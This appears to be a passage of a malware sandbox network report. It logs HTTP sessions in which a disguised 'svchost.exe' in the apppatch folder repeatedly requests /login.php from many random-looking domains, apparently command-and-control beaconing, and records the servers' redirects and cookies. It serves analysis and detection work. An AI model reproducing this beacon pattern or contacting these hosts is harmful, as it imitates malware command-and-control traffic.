                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378519058 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345241|1731345181|19|3|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381377935 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345241|1731345181|19|3|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          90192.168.2.6562393.94.10.3480
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978436947 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          91192.168.2.656236199.59.243.22780
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978504896 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          92192.168.2.65624018.208.156.24880
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978547096 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          93192.168.2.656237208.100.26.24580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978593111 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          94192.168.2.656238199.191.50.8380
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978631973 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Cookie: vsid=903vr478890781963739088


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          95192.168.2.656241154.212.231.8280
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.980814934 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          96192.168.2.65623523.253.46.6480
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.005676031 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          97192.168.2.664560162.255.119.102804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.330401897 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.859977007 CET303INHTTP/1.1 302 Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:52 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Content-Length: 55
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://www.gahyqah.com/login.php
                                                                                                                                                                                                          X-Served-By: Namecheap URL Forward
                                                                                                                                                                                                          Server: namecheap-nginx
                                                                                                                                                                                                          Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a
                                                                                                                                                                                                          Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          98192.168.2.6645615.79.71.205804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.341296911 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          99192.168.2.664562188.114.97.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.410851002 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.430967093 CET797INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QBarMLYFIZT1%2BL4MkS%2BHzKT2Z4IHmywH0r39%2FEgtKpkQ6VO9ZmTqs7Dh%2FeyHbU7PVpy5q5qyHcrIqFv269RmR96FSyAoAveTH4L3eYuWcCCJ6fJTUFVPWBnYEyntTw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0febcfeab1de92-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1108&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431031942 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431041956 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431693077 CET970INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QBarMLYFIZT1%2BL4MkS%2BHzKT2Z4IHmywH0r39%2FEgtKpkQ6VO9ZmTqs7Dh%2FeyHbU7PVpy5q5qyHcrIqFv269RmR96FSyAoAveTH4L3eYuWcCCJ6fJTUFVPWBnYEyntTw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0febcfeab1de92-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1108&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          100192.168.2.664563208.100.26.245804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.545742989 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.017271042 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:52 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.019323111 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.430891037 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431586981 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.668462038 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          101192.168.2.66456475.2.71.199804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.588963985 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.018652916 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:52 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          102192.168.2.66456544.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.659631968 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.430680990 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345293|1731345181|45|3|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:53.431519985 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:53 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345293|1731345181|45|3|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          103192.168.2.664566154.212.231.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.822504044 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
